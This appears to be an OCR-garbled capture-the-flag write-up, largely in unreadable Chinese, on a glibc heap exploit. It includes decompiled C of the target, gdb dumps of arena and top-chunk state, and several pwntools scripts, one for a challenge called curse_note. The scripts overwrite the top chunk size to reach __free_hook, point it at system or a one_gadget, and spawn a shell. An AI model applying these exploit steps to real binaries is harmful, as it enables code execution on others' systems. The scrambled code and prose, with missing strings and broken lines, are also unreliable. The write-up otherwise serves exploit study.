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while ( 1 )
I
1
do
s
1
memset(s, @, Ox20ulLl);
read(@, s, Ox1FuLL);
size strtoll(s, OLL, 10);
buf = malloc(size);
read(@, buf, size);
((_BYTE *)buf size 1) 9;
write(1, buf, (unsigned __ intl6)size);
write(1, &unk B54, 1ull);
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while ( size Ox7F );
free(buf);
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5. fiikfreehook, 75%shell.
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fastbinBe et ZlfastbinfiE 2, HHE MK CRT0x78, /MNTAET0X7f) 5 BEIy, XAPERIUKINZN0X0 K/, TN 2 Stop &
If. AIFZJE, 2fit’kmalloc_consolidate, filik 5, fastbint %/ NHEY T A Filtop#iE, Fitk2 s #lunsorted_bind—Ik, /&4
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0x0000560c28712000 0©x0000560c28733000 rw-p [heap]
Ox00007fead4000000 0x00007fead4021000 rw-p mapped

0x00007fead4021000 0x00007fead8000000 p mapped

Inbmmap3ttl, &2 heap infol1%5#: p *(struct _heap_info *)0x00007fead4000000

gdb-peda$ p
$1 = {

ar_ptr

(struct _heap_info *)0x00007fead4000000
Ox7fead4000020,

0x0,

0x21000,

mprotect_size 0x21000,

0x7fead4000020

prev

size

pad

AN ar_ptrfg i It 2 dE E A X FlarenaZE M4k :  p *(struct malloc_state *)ex7fead4000020

)0x7fead4000020

fastbinsY {0x0, 0x0, 0x7fead40008b0, Ox0, Ox0, Ox0, Ox0, Ox0, Ox0, Ox0},
Ox7fead40008f0,
last_remainder = 0x0,
{0x7fead4000078, 0x7fead4000078, Ox7fead4000088, Ox7fead4000088,
0x7fead4000098, 0x7fead4000098, Ox7fead40000a8, Ox7fead40000a8,

top top chunk

bins

Ox7fead4000698, Ox7fead4000698, Ox7fead40006a8, Ox7fead40006a8...},
{ox0, 0x0, 0x0, 0x0},

Ox7fead8604b20

next_free = 0x0,

attached_threads ox1,

0x21000,

0x21000

binmap

next main_arena>,

system_mem

max_system_mem

1] LA #ltopchunk & 0x7fead40008f0, 4 | 5 #topchunkiti ik,
0x7fead40008f0 ARzt N0, #F 0x7fead400000a:

gdb-peda$ x/50gx Ox7fead400000a+0x6e

AT LI e #2545 Eltopehunk, Sy 1 77 {5 )5 1H1#

Ox7fead4000078:
Ox7fead4000088:
Ox7fead4000098:
Ox7fead40000a8:
Ox7fead40000b8:
Ox7fead40000c8:

153 %topchunk J& 5t 7T DL

0x00007fead400080
0x00007fead4000078
0x00007fead4000088
0x00007fead4000098
0x00007fead40000a8
0x00007fead40000b8

FABSBHRALNO0, LI HI

0Xx0000000000000000
0x00007fead4000078
0x00007fead4000088
0x00007fead4000098
0x00007fead40000a8
0x00007fead40000b8

topchunk

“A~chunk3H 7t fake Zi 4 -




gdb-peda$ x/50gx 0x00007fead40008f0

Ox7fead400080:
Ox7fead4000900:
Ox7fead4000910:
Ox7fead4000920:
Ox7fead4000930:
Ox7fead4000940:
Ox7fead4000950:
Ox7fead4000960:
Ox7fead4000970:
Ox7fead4000980:
Ox7fead4000990:
Ox7fead40009a0:
Ox7fead40009b0:
Ox7fead40009co:
Ox7fead40009do:
Ox7fead40009e0:
Ox7fead40009f0:

0x0000000000000000
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x0000000000000000

0x0000000000000105
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x00007feadc88b240
0x0000000000020611

old top chunk

fake chunk=system+off

new top chunk

XI5 H U new top chunk K {7240, %% A0x7fead4000900%E 7 T fakechunkf¥jcontentit, IHT#H 24 T topchunksize# 78 i
J%0x00007feadc88b24 0] system+off

gdb-peda$ p *(struct malloc_state *)Ox7fead4000020

$22 = {
mutex ox0,
flags [ER
fastbinsY {0x0, 0x0, Ox0, Ox0, Ox0, Ox0, Ox0, Ox0, Ox0, Ox0},
top 0x7fead4000900,
last_remainder = 0x0,

&G topchunk

2 Ja 1 Htopchunk flifreehook {1 (% of f = freehook - top_chunk -ex1e, Ox10& N T F—X4 B 5 flitopchunksize 7 i

I
freehook, 752w # Al LA i A/ Aoffffjchunk,  H1i# 58 2 J5 chunksize=system+off-off=system, E[ifreehook#isystem?E i, &%
,/‘CQE‘:i:

gdb-peda$ p *(struct malloc_state *)@x7fead4000020
$32 = {
mutex ox0,
flags 0x3,
fastbinsyY {0x0, 0x0, Ox0, Ox0, Ox0, Ox0, Ox0, Ox0, O0x0, Ox0},
top = @x7fead86067a0 <__after_morecore_hook>, topchunkiE FfreehookHi
last_remainder 0x0,

gdb-peda$ x/50gx 0x7fead86067a0

Ox7fead86067a0 <__after_morecore_hook>: 0x0000000000000000 0x00007fead82853al % it reehook
Ox7fead86067b0 < malloc_initialize hook>: 0x0000000000000000 ©x00ECCCCCCECLR0

Px7fead86067cO <narenas_limit>: Ox00000000000VCCC0 Ox0OOOEOOERRRR0

Px7fead86067d0 <aligned_heap_area>: 0x0000000000000000 0x000CCCCC021000
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HibtZ 71, A Asmisystem#ids . 2 mif# Flonegadgetk kBt shell AN Il /& =i 552 f5, BiTHis 7, nlRE &R
onegadget L& .

BEI R AT HE i —N0x10ffichunk, B Y 754% Bbin/sh”,  24iZchunk freel sl 2 fil & system$i AT .

2GRS EBLT — N, libchRAE—FE, st s A Eishell, (mAsHH# LR, 5o 8 EsystemMtlil b, 82T

FIZ, AHLT Esystem+8, fEL il ik system-85 Fshell.




from ctypes import

from pwn import

p= process(

libc=ELF(

else:
exit(9)

def get one():
if(arch
if(version ):
one [0x45226, ©Ox4527a, 0xf0364, 0xf1207]

if (version ):

one [0x4f365 , Ox4f3c2 , Ox10a45c]
return one
dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address oxfffff:
script . (address)
else:
script . (address)
gdb.attach(p, script)

def build(size,content):
p.sendline( (size))
time.sleep(0.2)
p.send(content)

k p.recvline()

return k

one = get_one()
build(0x28,

o

build(0x38, 8)
libc.address u64(k[8:8+8]) 0x10 - 88 -libc.symbols[
5 (libc.address)

(libc.symbols|[

D)




build(©x38, 8)

thread_arena_addr_top ub4(k[8:8+8])
print 5 (thread_arena_addr_top)

thread_arena_addr_top 0x888
libc.symbols| ]

(freehook)

freehook top_chunk -0x10
shex(off)
one[3]+1libc.address
5 (onegadget)
build(0xfe,p64(onegadget off )*(0xfo/8))
p.sendline( (thread_arena_addr_top+1))

p.sendline( (off))
time.sleep(0.3)
p.sendline()

build(ex10,
p.interactive()

from ctypes import

from pwn import

p= process(
context.log level
libc=ELF(

else:
exit(9)

def dbg(address=9):
if address==0:
gdb.attach(p)
pause()
else:
if address oxfffff:
script . (address)
else:
(address)




def build(size,content):
p.sendline( (size))
time.sleep(0.2)
p.send(content)
k p.recvline()
return k
build(©x38, 8)
libc.address ub4(k[8:8+8]) 0x10 - 88 -libc.symbols|[
5 (libc.address)
(libc.symbols|[ 1
5 (libc.symbols|[

( ox1e + 87 + libc.symbols[

D)
)
D)

thread_arena_addr_top = u64(k[8:8+8])
5 (thread_arena_addr_top)
libc.symbols|
libc.symbols[ ]
5 (freehook)
(target)

off = freehook - thread_arena_addr_top +0x70-0x900
print ’ (off)

build(0xfe,p64(target off )*(0xfo/8))
p.sendline( (thread_arena_addr_top+1))

1- (thread_arena_addr_top-0x78+0x900)-0x18,p64(libc.symbols|

Q)

HER LS H : curse_note, JEFEAII
exp:

from pwn import




process(
ELF(
context(os , log level
context.terminal 5 5 5
def get one():
if(arch
if(version ):
one [0x45226, ©Ox4527a, 0xf0364, 0xf1207]

if (version ):

one [0x4f365 , Ox4f3c2 , Ox10a45c]
return one
dbg(address=90):
if address==0:
gdb.attach(p)
pause()
else:
if address oxfffff:
script . (address)
else:
script . (address)
gdb.attach(p, script)
addnote(index,size, content
p.sendlineafter( 5 )
p.sendlineafter( (index))
p.sendlineafter( (size))

p.sendlineafter( ,content)

shownote(idx):

p.sendlineafter( )

p.sendlineafter( ) (idx))

info (ub4(p.recvuntil( )[-6: ].1just(8, )))

return info

deletenote(idx):
p.sendlineafter(
p.sendlineafter(

9)
ox7f,
(0)

addnote( ©, 0x38, 8)
realloc_hook = shownote( 9)

,realloc_hook

libc.address (realloc_hook,16)-1ibc.symbols|
print 5 (libc.address)




addnote (9, (libc.symbols|

0x38, 8)
shownote( 9)

mmap_area_addr_top (mmap_addr,16)+0x6e

print 5 (mmap_area_addr_top)

top_chunk mmap_area_addr_top + 0x888

freehook = libc.symbols[
5 (freehook)

off freehook top_chunk -0x10

(off)

libc.symbols|

(system)

addnote(1,0xf0,p64(system+off)*(0xf0/8))

addnote(2,mmap_area_addr_top+1)

addnote(2,o0ff)

addnote(0,0x10,

deletenote(0)
p.interactive()
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